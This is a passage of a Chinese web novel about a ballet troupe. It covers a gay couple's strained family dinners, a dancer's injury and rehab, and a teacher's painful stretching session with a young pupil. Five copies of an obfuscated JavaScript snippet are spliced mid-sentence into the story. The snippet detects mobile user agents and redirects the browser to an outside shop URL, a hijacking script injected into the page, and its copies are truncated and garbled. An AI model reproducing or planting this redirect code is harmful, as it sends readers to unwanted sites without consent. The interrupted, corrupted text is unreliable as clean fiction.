孔爵挑挑眉,夹起一块怎么看也不符合十五块人卝民卝币规格的和牛,打量了半秒扔进嘴里。“我昨儿还问张凡呢,她是发财了还是啥。她说都是志愿者订的,没超支,收据都给她看了。我说她这志愿者真是神了。” “真的假的。” 萧泽笑笑,显然不信。 “要么可能那志愿者家里开饭店的。” 孔爵忍不住调侃。 “嗯,没准。” 舞剧的排演现场一般都会有几个志愿者帮着跑些场务的活儿。说是志愿者,其实多半是学卝生或者喜欢个别演员的舞蹈爱好者们。从前偶尔有过志愿者们自掏腰包大肆给排演片场买东买西的,团里觉得不妥,便倡导着杜绝这些行为。所以这两年招志愿者时监制们都会嘱咐一句,最多也就是允许买些饮品,加加餐之类的。 萧泽对着几个菜出神半天,终于拣起一片莴笋送进嘴里。他不是挑食的人,对吃的,也没什么特别的欲卝望。从小到大,从家里到学校、从学校到团里,他向来都是有什么吃什么。只是这几天的午餐,实在是合口地有些过分巧了…… 他压下犹疑,又夹起一口米饭,目光随意地在眼前扫过,却不禁突然定格在不远处带着鸭舌帽的一个小青年身上。 真是……神了。 萧泽合上饭盒撂在一旁,刻意收着音量喊了一声,“修平!” 角落里的小青年身形果然一滞,跟着便整了整帽沿,认命地走了过来。 “泽哥。” 哎……萧泽盯着眼前的小青年,颇有些无奈又好笑,“你们钟总,派你一个总助过来放饭啊?” 修平一毕业就进了公卝司,是钟彦霖亲自招进来的。彦霖当初看他为人机灵、做事妥帖,最重要是秉性好,便一直留在身边。两年下来,已经是彦霖最得力信任的助手,也因此自然知道,自己老板和萧泽的这层关系。 “这……帮助老板处理事务,本来就是我分内的职责嘛。” “跟我贫。” “没有没有”,修平有些为难地用食指挠着额角,“哎、这不是,您这段儿……饭吃的太不好了,钟总实在不放心,才出此下策的。本来是要派别人来的,可又怕不会办事儿给你惹麻烦,就还是换我了。” 其实看到修平那一刻萧泽就明白了……有些事,他自己没当回事,倒是让身边的担心了。想到彦霖这周出差,最得心的修平却给自己留下了,心底不免有些愧疚。“这两天辛苦你了修平。” “泽哥你说哪儿去了。这都是应该的。” 修平看萧泽脸色不太好,又接着说道,“老板那边也不缺人的,你别担心。” “嗯,我知道。” 萧泽笑着点点头。“嗯—这样。这个饭还是麻烦你接着给大家伙订,不过明天起你人就别过来了。公卝司那边,还是你最明白彦霖的心思,你不在,旁人他肯定不习惯的。你啊,还是别放在我这儿大材小用了。” “可……”修平有些犹豫。 “我这没事儿,放心吧,我和你老板说。” “嗯,好吧。那——我去帮他们收拾收拾,泽哥你快吃饭吧。孔爵哥也是,我撤了。” 孔爵扬扬下巴和他打了招呼,看着他一路小跑又扎回几个志愿者中间。“挺会办事儿的,这小孩儿。” 萧泽皱了皱眉,“比你小不了几岁,还一口一个小孩儿的。” “切”,孔爵只笑笑,也不反驳。“话说彦霖是不是今儿出差回来啊,下午你那块儿排完早点走吧。” “嗯。” 萧泽答应着,难得没有推辞。 今天和妈说了晚上一起回家吃饭,不知道等着他们的又是什么。 ———— 萧允明坐在二层书房外的小卝阳台上看文件,下午的温度刚好。 金秋十月,哪怕只剩个尾巴也是惬意的。万里无云的大晴天,凉丝丝的风,吹得人精神分外舒卝爽。萧允明端起桌旁的咖啡仰头喝了一口,一抬眼,正看见董勤勤的车驶进院子里来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239577|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这么快。萧允明念叨着,起身收拾起东西拿回书房,正准备下楼去迎迎妻子,就在楼梯口撞上了。“怎么这么早就回来了,你不是下午不是约了朋友吗?” 董勤勤习惯性地揽住丈夫,和他一起走回卧室。“小卝泽说晚上和彦霖一起回来吃饭,我给他们做点好吃的。” “哦。” 萧允明不经意挑了下眉。“彦霖不是说那个小荣饭做得不错吗,我看你这么多天就没让人碰过灶台。” “叫你说的”,董勤勤的声音隐隐地从衣帽间传出来,“孩子们好几年没吃我做的饭了,我得做到他们吃腻了才行。” 这一晃儿,他们回国已经有两周了。除了刚到家的那个周末,小卝泽和彦霖就没一起回来吃过饭。虽说两个孩子确实是都忙,可萧允明清楚,哪怕他们不愿意,却也按着父子三人的约定去做了。只是他这心里,却并没有舒服多少。 “我下去帮你吧。” 董勤勤换了家居服出来,萧允明便起身准备跟着她一起下楼。这些年没见到孩子们,妻子是变着法的想把欠的都补上。今卝晚不用说,肯定又是一大桌子菜,萧允明真怕她把自己累着。 “没事儿的。” 董勤勤拦着他,“我叫小荣打下手。啊不过,你今天确实有个任务。” “嗯?” 萧允明笑着看她葫芦里卖的什么药。 “软炸里脊。” 董勤勤依然如葱段般的食指在他眼前点了点,“彦霖最爱吃的。我帮你备好料,等孩子们进屋了你再做。” “我还当什么,知道了!” 萧允明会做的菜不多,软炸里脊却是个招牌。孩子们小的时候最喜欢吃他做的这一道。每次饭前热腾腾的炸出来,小承儿便一会儿去厨房偷一块儿。往往还没开席,满满一盘子就被他吃出个坑来。只是那些年,萧允明远比现在忙,极偶尔才腾得出空做上一回。董勤勤和家里的阿姨都让他手把手地教过两回,孩子们却总说不是一样的味道。 “那你忙你的” ,董勤勤细心替丈夫整了整肩角有些不服帖的衬衫。“我等会儿叫你。” “嗯。” 董勤勤走到卧室门口,脚步却不禁突然停下。她犹豫片刻,终于转过身,倚在门边, “老萧,今天难得两个孩子都回来。你——脸色好看一点……好不好?” 萧允明微微一愣,“我脸色有不好吗?” 有些事他本没有想要刻意瞒着妻子,也心知瞒不住……只是当下却又不免下意识地否认。 董勤勤轻轻叹了口气,嘴角却依旧挂着笑意。“这么多天了,两个孩子轮着回来吃饭,像交卝班似的。饭桌上多一个名字都不敢提。你难道真想,咱们这个家从今往后都这样?” “我没不准他们一起回来。” 萧允明避开眼神。每每提到这件事,就流露卝出鲜见的固执来。 “老萧”,董勤勤忍不住走回他身前,“我们说过的,这次回来,要和从前有所不同。你答应我了的。” “我已经给了他们我最大的容忍,我已经让了一步了。” “一步不够。” 董勤勤摇摇头,蹲下卝身握住丈夫的手,“父母与孩子之间的事情,哪能是你一步、我一步,算的那么清的呢。其实小卝泽和彦霖的底线一直都在那儿——他们想要在一起…… 这是他们不能再退的要求。所以,要有所改变,剩下的这些步,就只能我们来走。你明白的……” 董勤勤微仰着脸,目不转睛地盯着萧允明。可丈夫沉默了片刻,只是笑了笑,将她拉起来坐在身侧,“好,我知道了。” 董勤勤抿着嘴唇,似是有些失望地垂下眼神。结婚这么多年,老萧几乎从没在任何事上敷衍过她,可唯独这一件…… 每次他笑着答应,仿佛是在安抚自己的时候,其实都是在委婉地结束话题。 这几年来,她夹在儿子们和丈夫之间,什么都看在眼里。她心疼小卝泽和彦霖心里太苦太不容易,也气他们偏偏要选这样一条路;她气丈夫打也打了骂也骂了却仍然一点点理解都不肯给儿子们,可也明白丈夫心里有自己过不去的结…… 想到这里,董勤勤攥着丈夫的手不禁紧了紧。 “老萧……你到底怎样才能明白,小卝泽不是王锦程,彦霖也不是!” 80. 婚后番外(1) 先整出来一段,剩下我慢慢码。 第一节是甜甜日常,好吧,酸甜。 ———————————————— 盛夏七月,是北半球日照最长的日子。 小两口的卧室内,不过早上六七点就已经亮堂得好像正午一般。没办法,彦承总是说喜欢早上被阳光唤卝醒的感觉,窗帘只肯拉上薄薄的一层。好在两人卧室对面并没有什么遮挡,也不必担忧春光旖旎叫别人看去。 这会儿,早就被“唤卝醒”过几回的彦承懒懒翻了个身,将光溜溜的大长卝腿和手臂都压在情人身上。连同巴掌大的脸也埋在他颈窝里,固执地闭着双眼,放纵睡意。 林晓希抬手摸了把,彦承从肩头到手肘都是凉丝丝的,想也知道是昨晚又偷偷把冷气调低了……这家伙,一到夏天就贪凉得厉害。林晓希欠了欠身,扛着身上树懒一样的情人,把早就被他搅到身下的薄被扯出来、搭在他腰间。只是甫一动作,周卝身的酸痛就悉数被唤卝醒,打得他一个措手不及。 “怎么了?脚疼吗?”敏卝感地察觉出身边人不自然地颤卝抖,彦承一个激灵醒过来。 林晓希揽着人脖颈温柔地把他按回枕头上。“没有,哪儿也不疼。闹钟还没响,再睡会儿。” “哦……” 两人相恋的第七年,日子依旧过得如胶似漆。晓希如意料之中的一样,愈发的沉稳、成熟。倒是承儿,这几年被晓希惯的,在他跟前儿越来越是小孩儿的性子了。 “晓希……”彦承阖着眼睛,指尖有一搭没一搭地在情人胸口刮蹭。“等你伤好了,不跳孔导的作品了,行不行?”孔导的名声纵然响,可如果代价是这样的话,那他宁愿晓希不去跳。 晓希无声地笑了笑,自从伤后,彦承已经不知道是第几次问这个问题了。他攥着彦承的指尖,好脾气地哄:“我是团里的演员,哪能挑本子啊?其实就是我自己不小心……以后我一定注意,不让你担心。” 彦承默默睁开眼睛,抿着嘴没有作声。 孔莹,孔编导,算是新一代编导里的领头人了,这几年出了好几个作品。歌剧舞剧团把她签进来,团里的上卝上卝下卝下一直对她很重视,也是因为她的舞剧确实叫座。 孔导这个人,艺术修养暂且不论,“取卝悦”观众的方式倒是有很多。可圈可点的,有整齐划一的群舞,让人眼前一亮的舞美,还有总是格外契合的配乐,这的确是本事。可拙劣点儿的,就是成串的让人眼花缭乱的技巧动作:无论多难,都让演员一锅粥似的端出来,哪怕看的人也觉得喘不过气,却往往最能博得满堂彩。 孔导自有她的一套理论。 艺术的本质可以是表达,也可以是单纯的与人欣赏,也可以两者皆有。她深知自己的作品显然趋于后者。那么用她的话说,台下坐着的观众来自各行各业,对艺术有不同的鉴赏能力。无论如何,每个人都能在一台舞剧中看到自己想看的东西,才更重要。 道理是这个道理,只是太费演员了。 这几年里,孔导的每一个新作品都是点名晓希先来跳,行业里都说晓希是孔导的御用演员。当然了,光是那些用高难度的技巧动作堆砌起来的片段,国内能拿下来的就没有几个。像晓希这样专卝业过硬又好摆卝弄的演员,自然人人都喜欢。 不过彦承宁愿她不喜欢。自从萧泽哥离开舞团晓希顶上首席的位置后,团里就一直没有能拿得出手的B角。平时还好说,可孔导的作品,每次拍出来都是团里的重头戏。国内巡演的场次排的密密麻麻,偏偏她又挑人,B角几乎跳不了几场,但凡排得开的都是叫晓希上。就是铁人,也没有这么使唤的。 这次受伤,就是巡演期间排练一连串跳跃时候发生的:腓骨轻微骨裂,韧带和肌腱拉伤。连医生都说,都是跳熟了动作,会伤,还是因为身卝体太疲惫了。 “喂……”晓希听着怀里的人半晌没有动静,知道他恐怕又是在胡思乱想。“别瞎想,我这不是好了吗?” 彦承由着他晃了晃自己手臂,谎撒得一点都不走心,“没瞎想,我在睡觉呢……” 好,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239578|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定义“好”呢。是能走能跳了,还是能上台了? 晓希伤后只在床卝上歇了一个礼拜,还是被萧泽哥硬压着的。七天一到,他就摸进了练卝功房。练不了腿就练上肢,练腹背肌,为的就是维持身卝体的状态。 真的是就差那几天的功吗?不尽然。 彦承明白,在事业的巅峰期受伤,晓希心里远比他表现出来的难受的多。所以哪怕嘴上说着没事,说着这已经算轻伤了,可两周前,医院才开始帮他理疗他就自己相应地在练卝功房里加了量……因为心里还是急,急着看脚腕是不是能恢复到原来一样的能力。 彦承心疼地叹了口气,可从他受伤到现在,满打满算也才两个月而已啊。 俩人到底还是闹钟响起之前起了床。 彦承趁着晓希洗澡的功夫火速跑去厨房做早餐。他惯了赖床,平日恨不得等早餐到了嘴边才坐起来。只是现在这个时候,他要是再不承担起家务,就太没良心了。 “今天的太阳蛋卖相很不错啊。”晓希捧着面包片,一层层铺上夹心给彦承做了个早餐三明治。碟子里的几个鸡蛋都煎得完整漂亮,这一个月来,彦承的厨艺简直飞涨。 “嘿嘿……”彦承接过三明治却不着急吃,只撑着桌面傻呵呵地看着对面的爱人。晓希刚洗完澡,身上还带着沐浴露的香气;颈间挂着个小毛巾,一头栗黑浓卝密的短发被擦得东倒西歪。他这会儿穿着白T恤背着阳光的样子,仿佛是浪漫MV的男主角。 “吃饭呐!”林晓希一个毛栗子敲到彦承头上,把神游的小“痴卝汉”拉了回来。 “你今天在哪边上课?” 虽然是暑假,但彦承还在给附中的那孩子补课。学校那边不开,他们上课的地方便也不固定。有时候去学长或者孔爵哥的工作室,有时候就到团里来。彦承去年参演舞剧后就考到了团里的主要演员。只是他舍不得附中的孩子们,所以减少了课时,和学校的关系也转成了合同制。 彦承叼着面包片看了看表,“今儿去团里,约的九点半,也差不多了” 81. 婚后番外(2) 钟彦承提前二十分钟到了教室。乐无弋正坐在地上活动。 乐无弋是他附中班里的学卝生,从一年级带到现在,已经是第三年了。这孩子条件算不得是多好,可也胜在有灵气,又难得的有毅力。这一行里,没有天赋的努力总难免显得辛酸徒劳,可有天赋的努力,远比什么都重要。 “钟老卝师。”看见他来了,孩子不知怎么微微一愣,下意识朝墙上的钟瞟去。 钟彦承也跟着他看了眼表,“哦,今儿我早了。来吧,和你一起练练。” “嗯。”乐无弋答应着,麻利地起身。面上没露卝出半点,心底却不由得生出一丝雀跃——他特别喜欢、也很崇拜钟老卝师。 当然不仅仅是因为钟老卝师能够理解他,还拿出那么多私人时间给他上课。还因为,他身上总有一种特别亲和气质。哪怕练卝功时严厉起来并不亚于全附中手最黑的老卝师,可同学们还是愿意与他亲近。最重要的是,钟老卝师的专卝业真的特别好。 他们是从一年级就跟着钟老卝师的。刚入校的小孩就算再不懂,也看得出那一身优越的气质和精雕细琢般流畅的肌肉线条。一举手、一投足,都和他们不一样。在课上,钟老卝师做起示范来也一丝不苟。低年级的课程并没有什么难度,可他的示范总是标准地如教科书一般,就是做着最简单的动作也格外潇洒好看。 附中里并不是没有刚毕业的大学卝生老卝师,可没有一个是像钟老卝师那样的。那时的乐无弋总在想,这样的人,为什么不在舞台上呢。第二年学校的元旦汇演,成全了他的疑问:钟老卝师的一曲独舞,征服了全校师生。这群小孩子们,更是一个个都看掉了下巴。 男孩子们的努力和专注总是从崇拜那一刻开始的。 那一天之后的课堂,这一班时不时冒尖儿的调皮蛋们,看向钟老卝师的眼神都不一样了,练卝功的行动力更是水涨船高。就连钟老师本人事后也不禁感叹过,早知道有此良效,他一年级的时候真不该推了主任叫他出个节目的任务。 乐无弋扶着班干,悄悄打量着正在墙边摆卝弄音响的钟老卝师,直到人走过来他挨了个“脑壳”才回过神。钟彦承绕到他身后,扶着肩膀把人轻轻往前推了一把,“热身不用我带了吧,自己往前站。” 重音清晰地压在最后一个“站”字上,平日里上课一般的语气喊得乐无弋一激灵。他立刻往前蹭了两步,迅速重新站好,等着音乐响起。 列表第一首自然是“擦地”的曲子,即便不用听也知道。乐无弋调整好呼吸,卡着前奏的最后一个八拍将右手从一位抬起,在身侧打开,又流畅地划回一位。 右脚缓缓向前擦出的时候,他还是没忍住在镜子里偷瞄了一眼钟老卝师。比他高出一大截的钟老卝师,不仅仅是附中的老卝师,也已经是歌剧舞剧院的主要演员了。可做起哪怕最基础的动作时,表情与态度还是那么认真。这就是他能把专卝业一直保持地那么好的原因吧。 乐无弋抿着嘴唇,暗暗受到激励般,把心思都收回到了动作当中。 列表里的音乐一直不间断地播放着,乐无弋便听着音乐的节拍接上新的练习。钟彦承渐渐从他身后撤下来,仔细盯着他的动作,不时出声纠正,遇到适合自己的练习,便又站回去跟着他练练。所以虽然说着是热身,可带着他从把上挪到把下,不间断地从九点练到十点,也算是把平时基训课的一整堂练习都做完了。 钟彦承走到墙脚关停了音乐,看着孩子一头的汗,连小背心都湿卝透了。正合适。他手指朝旁边指了指,扬声说道:“调整两分钟,自己拿垫子压腿。” —————————————————————————— “回去又没听话吧?” 脚腕被理疗师托在手里按卝摩,林晓希舔卝着嘴唇,一时没有作声。将近二十年的“优等生”生涯,他显见地又有了好像做错事被抓包的忐忑。理疗师的拇指正在他脚腕正面反复地推卝揉,“肌肉太紧了,像纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239579|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个小疙瘩,揉开是有点疼。” “没事”,林晓希撑着床面,轻声说。 “你是没事!我同你说过没有啊,你现在的目标是软化和拉伸这一块的肌肉和筋腱,循序渐进地增加力量;所以运卝动一定一定要适量,超量的话,肌肉出于保护缩紧僵硬,对你的弊是大于利的。” 理疗师三十几岁的年纪,看起来有些文质彬彬的,可真严肃起来,说话也让人有些心凛的。 林晓希缓缓睁开眼睛,眼前倒置的画面里,窗帘正以奇怪的形状飘扬,理疗师的批评也渐渐在耳边隐去。他稍挪了下重心,左腿先翻下来,保护着右脚轻轻着地。长久的倒立让人眼前有些发黑,顺势在原地坐下调整了一会儿,视野才恢复了清明。 好在,理疗的事他借口离家近,换了个不常去的诊所。不然遇到今早这样的事,黄老一通电卝话打到学长那里去,他就还能再体验下被“找家长”的感觉。 林晓希忍不住自嘲地笑了笑,自己揉了揉手臂。等着酸麻的劲儿过去,才从旁边拽了把椅子,将脚架上去耗旁腿。之前全卝家明令禁止,任何跟脚有关的事就不许他有大动作。两个月没正经练过——他在镜子里打量着自己略显紧绷的体态——眉心不禁微微皱了起来。 于是徐徐吐出一口气,人也跟着用卝力往下沉了沉。久违的疼痛和滞涩却反而让人有一瞬的心安,从前也是这么练过来的,现在捡捡,也不难。 林晓希摆正了姿卝势,自己调整着呼吸一点点往下耗,一旁的手卝机却突然响起邀请视卝频通话的铃卝声。他伏下卝身,指尖拨着手卝机边沿把它拽了过来。可才一拿在手里看清了邀请人,才舒展的眉头就不禁又揪了起来…… 不会新理疗师也学会告卝状了吧? ———————— 讲真的,两个月不练,问题其实不是特别大……而且我之前问过一朋友,你现在天天还练功吗?他理所当然地说不啊。但一上台,我看那腿还是满天飞。 82. 婚后番外(3) “学长。”林晓希按下接通键,学长汗湿的大半张脸正模糊地凑在屏幕前。“在排练吗?” “嗯,休息时间了。”萧泽把手卝机在水瓶前戳稳了,又往后坐了坐,整个人才被镜头括了进来。 最近天气正闷,跳了一上午,汗就像自来水似的往出冒。为新舞剧蓄起来的长发散了几绺下来,都贴在脸和脖颈上。他拿起毛巾从囫囵擦了一圈,“昨天去看医生怎么说?” “拍了片子,已经没事了。剩下,就自己慢慢恢复吧。” “嗯。”萧泽点点头,也算放下心来。“那就好。” 工作室年后申请下来了国卝家的专项基卝金,四月开始筹备新舞剧,正是最忙得时候。后来晓希在外地巡演排练期间受了伤,愣是捂得严严实实地没告诉他。要不是碰巧那天他想着忙完给孩子们送点海鲜过去,打了电卝话晓希支支吾吾地拒绝,还真不知道他准备瞒到什么时候。 萧泽还记得那天他赶紧把手里的活能交的都交出去,急忙赶去家里。一推开门就看见他搭着腿坐在客厅摘菜,脚腕上已然包着一层厚厚的固定。 “对不起啊学长,又让你担心了。”这孩子看到自己,第一句话说的是这个。 在外地伤了脚,当天在急诊固定了下,第二天就和巡演的大部卝队分开,自己买了张高铁票回来。萧泽都不知道他一只脚是怎么折腾回来的,想想就又急又气。 许久不受旧事困扰的他,那天晚上又梦到了江尧,梦见他躺在病床卝上苍白着脸色和自己说没事;他心疼地凑到床前,床卝上的人却突然变成了晓希。 午夜梦醒,他忍不住又有些自责:之前承儿有卝意无意地和他抱怨过几次孔莹用演员用得太狠了。他也了解孔莹的做派,可那时想着,让晓希自己多去历练历练不是坏事,也以为是承儿太护短,便没有过问。现在想想,如果早点找晓希聊聊,提醒他多和导演沟通,注意身卝体,也许便不会发生这样的事情。 “学长别担心。”晓希脸上挂着一贯叫人舒心的笑容,“不是跟您逞强,我真的没什么事了。” 是啊,好在是都过去了。萧泽看着镜头里养了两个月难得圆卝润点的小卝脸,才终于点点头。“最近理疗做的怎么样了?” “挺好的。能感觉出来每次都比上一次更好。理疗师也建议我每天适量运卝动。” “重点是‘适量’。”萧泽敏卝感地抓卝住关键词,朝他身后看了看,“又跑团里去了吧。” 一想到自己还在耗腿,林晓希几乎下意识地展了展肩背,“我来活动活动……顺便等等承儿。而且,团里马上就开始年中考评了。您知道的,文导她——很严厉的。” 文导……萧泽也不禁了然地笑笑——这几年文导升任了团长,雷厉风行的气势不改,对团里演员的要求几乎是同期团里最严的。他也在朋友卝圈里见演员们抱怨过,一到考评期就如同梦回学校。 不过,两个月了,也该练练了。萧泽无声叹了口气,选了这一行,这点自律是少不了的,“不管怎么说,自己还是注意分寸。” “嗯,”晓希用卝力点点头,“您放心,我一定不会拿自己身卝体开玩笑。” ———————————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239580|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——————————————— “回来了嘛?” 忙活了一早上,难得腾出几分钟时间喘口气。彦承从包里掏出手卝机,给晓希发了条信息。 等了两分钟,窗口才弹出回复,“嗯,就在你们隔壁。你大概几点结束?” 钟彦承看了眼时间,又抬头看看垫子旁正偷偷抹眼睛的乐无弋,犹豫了两秒,“再一个小时吧。” “好。” 钟彦承放下手卝机,起身走回垫子旁。乐无弋正一只脚搭在垫子上,另一边小卝腿折回来个直角——耗大胯。钟彦承特意把垫子摞高一些,就是不想让他着地,多耗耗。乐无弋趴下也不是,用手撑着也不是,怎么都难受,别别扭扭地姿卝势颇为狼狈。 “太硬卝了啊宝贝儿。”钟彦承俯身试探地压了压,触手就觉出格外的紧绷。 乐无弋也不作声,只咬着嘴唇埋头想要往下沉一沉,可才一动作,就又疼得恨不得缩在一起。他真的有点没劲儿了,没劲儿撑着,也没劲儿和疼痛做抗卝争。 也不怪他。钟彦承垂头看着这孩子瘦长的小身板。今天说了要给他好好过过软开,方才压竖叉的时候一点也没手软。到底只是个十岁出头的孩子,没两下就给逼出了眼泪。这会儿眼圈还红着,叫人看着就不免有些心软。 可……“不练不行啊。”钟彦承由着他缓了一会儿,终于还是感叹了一句,弯下卝身帮他摆正姿卝势,两只手,也搭在了少年身上。 —————————————————— 我不是故意卡在这里……我是真的有点困了 83. 婚后番外(4) 乐无弋用手肘撑着地,头深深地埋进双臂中。钟老卝师还没上手,他就已经有些熬不住了。 他有时忍不住想,人能忍痛的份儿,是不是都是一定的。脚背膝盖、正腿旁腿,上午这么一通练下来,几乎已经要把他逼到头了。这会儿到了本就不擅长的横叉,他只觉得一点儿都忍不了了。 他不禁把头埋得更低,心里有些挫败……明明答应了钟老卝师的,这个暑假一定把基本功收拾利索。他知道不会容易的,但想着,狠狠心、咬咬牙、总能过去。可真到了这个份儿上才知道,钟老卝师大可以狠狠心挥挥教鞭,他想咬咬牙,却没那么容易。 这么想着,屁卝股上突然不轻不重地挨了一下。乐无弋微微偏过头,才后知后觉自己不知什么时候已经掀到天上去的腰胯。钟老卝师卡着他腿卝根往后带了带,一只手按上尾椎,两三下就把他归拢回标准的姿卝势。 胯间的酸疼立刻剧烈起来,乐无弋默默咬起牙忍着,知道什么都还没开始呢。等下是什么滋味,他再清楚不过了。他是真的想配合钟老卝师好好练……可也是真的害怕。 “让你自己耗,这么半天耗哪儿去了。” 自己才一使劲儿,手下的身卝子就绷成一块。钟彦承低头瞟了眼他双卝腿卝间将将超出180肉卝眼难辨的角度,语气渐渐严厉起来。“又想让我把你练吐是不是?” 这么大的孩子,该哄得哄,该凶得凶。 练吐了就没力气顶着劲儿了,钟老卝师不是没这么练过他。乐无弋生怕这不仅仅是威吓,小声地否认,俊秀的眉毛拧成了疙瘩。“不是…” “不是就乖乖的。自己数,一边腿一百个数,然后给你踩横叉了。” 钟彦承不再跟他磨蹭,伸脚踩上他一边脚踝,双手直接施力压了下去。胯对大多数男孩子来说都是难点,这么耗,甚至不需要使多大劲儿也能疼的人发卝颤。果然,手下的小孩立刻就有了反应,瘦削的肩背连着后脑地碎发都跟着微微发卝抖。 钟彦承从身后看着乐无弋挂着汗珠的侧脸,不知怎么的就想起此时正在隔壁的那家伙来……这孩子有时和他很像。练卝功时每每包着嘴角默默忍耐的模样,总不免让他想起从前他们一起跟着萧泽哥练卝功时,那家伙也总是认真又安静的。偶尔挨了批卝评,也不解释,不多话,不管多难,只埋着头尽力做好。 当然也有些不一样的,彦承忍不住无声叹了口气。乐无弋比他想象中的更开朗,哪怕心里装着那么重的执念,但一定是个在爱里长大的小孩。可晓希呢……这么多年了,好像都没变。什么都藏在心里,好像从来不知道可以与人倾吐、寻求开解与安慰,遇事也不开口求人帮忙。总是一个人熬着、苦着,又硬要装出没事的样子。如果不是——他现在也还是很怵文导,他是真的想问问,小时候的晓希是什么样的。总没有谁生来是这般坚强的。像乐无弋现在一样大时,或者年纪更小时,练卝功时候也会哭会闹吗,也会小心翼翼地讨价还价吗?他想要……疼疼他。 “一……二……三……” 还有些稚卝嫩的声音,终于闷闷地开始报数,嗓音里还夹杂着哽咽过后的些许沙哑。钟彦承回过神来,看着他把额头垫在双手卝交握成的拳头上,五官几乎皱成一团。 现在的小孩体质好,条件也好,每年男班里都能有几个怎么练也出不了错的。那胯、那腰,压起来他都直咋舌。乐无弋没这个好运气,但也算不上是倒霉的:至少不是让人头疼的“钢铁男孩”,下点功夫,都能练出来的。 钟彦承等着他念到二十,手下默默加了点力气。 “二十……呃……一。” 刚出口的话,耳听着就变了调。眼前的小孩更用卝力地握紧拳头,抵卝抗的力量立刻就返了回来。钟彦承皱起眉,倒是也不怪他,正常的条件反射,别说是小孩子,大人也难忍。只是话说出口,到底还是严厉,“再跟我顶?” 乐无弋极轻地呜咽了一声,咬着牙一点点试着松劲儿。可……是真的疼,两侧胯关节的骨头好像都别在一起,硬生生地挤卝压、摩擦,“争夺”着彼此的“地盘”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239581|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“二十二……” 半晌才报出第二个数来,乐无弋在这件事上受过教训,疼昏了头也不敢数的飞快。 可疼痛的世界里好像连血液都流动地更加慢。眼前一片黑卝暗,他茫然地张嘴,声音好像被按下 0.5 倍速般模糊。就这么慢慢熬过二十个数,心里没来由的一紧。果然,下一秒,身后的力道更沉重地压下来。“啊……” 乐无弋哑着嗓子叫唤了一声,腿卝根上的两条筋好似瞬间被抻开一截。感受着骨骼更用卝力地顶在一起,仿佛能听见“嘎吱嘎吱”的声音。 “钟老卝师……” 酸卝软又尖锐的痛感交织着袭来,让人恨不得想卸下下半截去。脑海中几乎闪过某个舞蹈学院学卝生胯骨骨折的新闻来,小孩下意识地往前躲,却被拽住一点也动不了。细细碎碎地哭腔,到底传了出来。“轻点……钟老卝师……轻……轻一点……行吗?” 钟彦承只当没听见般。当老卝师后,他这颗心比从前更柔卝软,也更坚卝硬了。什么时候心疼,什么时候“冷漠”,他得拿捏地准。舞院的孩子每年一茬一茬地进来,吃的苦,都是一样的。他当年怎么过来的,现在也得帮他们这么过来。 钟彦承由着乐无弋念叨了一会儿,出声提醒他,“不数了?今天不想回家了?” 乐无弋微微一震,僵硬了片刻才记起刚刚数到四十一,心里顿时生出万般的委屈,直冲着眼眶涌去。也并不是真的委屈,练卝功就是这样的,他心里明白。可就是……身卝体上太难受了,难受到无关其他任何事情,心底就莫名藏了满满一腔的情绪。 “钟……老卝师……能不能,撤两个垫子……” 钟彦承一愣,片刻,才不禁有些哑然失笑,“撤了垫子就能轻卝松了?” 乐无弋咬着嘴唇没有接话,一张小卝脸涨的通红。 